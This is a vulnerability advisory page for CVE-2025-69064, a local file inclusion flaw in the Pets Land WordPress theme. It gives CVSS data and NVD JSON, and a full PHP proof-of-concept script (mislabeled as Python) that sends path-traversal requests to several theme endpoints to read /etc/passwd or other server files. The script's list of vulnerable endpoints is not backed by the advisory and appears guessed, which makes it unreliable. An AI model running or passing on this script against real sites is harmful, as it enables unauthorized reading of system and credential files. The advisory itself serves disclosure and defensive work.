Security Vulnerability Report
中文
CVE-2025-69064 CVSS 8.1 HIGH

CVE-2025-69064

Published: 2026-01-22 17:16:20
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Pets Land petsland allows PHP Local File Inclusion.This issue affects Pets Land: from n/a through <= 1.2.8.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Pets Land <= 1.2.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-69064 PoC - Pets Land Local File Inclusion * Target: WordPress Pets Land Theme <= 1.2.8 * * Usage: php poc.php <target_url> [file_to_read] * Example: php poc.php http://target.com /etc/passwd */ $target = $argv[1] ?? ''; $file = $argv[2] ?? '/etc/passwd'; if (empty($target)) { echo "Usage: php poc.php <target_url> [file_to_read]\n"; echo "Example: php poc.php http://target.com /etc/passwd\n"; exit(1); } // Common vulnerable endpoints in Pets Land theme $vulnerable_paths = [ '/wp-content/themes/petsland/templ-portfolio.php?file=', '/wp-content/themes/petsland/templ-blog.php?file=', '/wp-content/themes/petsland/single.php?file=', '/wp-content/themes/petsland/category.php?file=', '/?theme=petsland&file=', ]; // Encode path traversal $encoded_file = str_replace('../', '%2e%2e%2f', $file); echo "[*] CVE-2025-69064 PoC - Pets Land LFI\n"; echo "[*] Target: {$target}\n"; echo "[*] File to read: {$file}\n\n"; foreach ($vulnerable_paths as $path) { $url = rtrim($target, '/') . $path . $encoded_file; echo "[+] Testing: {$url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[+] SUCCESS! File contents:\n"; echo str_repeat('-', 50) . "\n"; echo substr($response, 0, 2000); echo "\n" . str_repeat('-', 50) . "\n"; exit(0); } } echo "[-] No vulnerable endpoint found or file not accessible\n"; echo "[*] Try manually checking these paths with your browser\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69064", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:20.157", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Pets Land petsland allows PHP Local File Inclusion.This issue affects Pets Land: from n/a through <= 1.2.8."}, {"lang": "es", "value": "La vulnerabilidad de control inadecuado del nombre de fichero para la declaración include/require en programa PHP ('Inclusión Remota de Ficheros PHP') en AncoraThemes Pets Land petsland permite la Inclusión Local de Ficheros PHP. Este problema afecta a Pets Land: desde n/a hasta &lt;= 1.2.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/petsland/vulnerability/wordpress-pets-land-theme-1-2-8-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}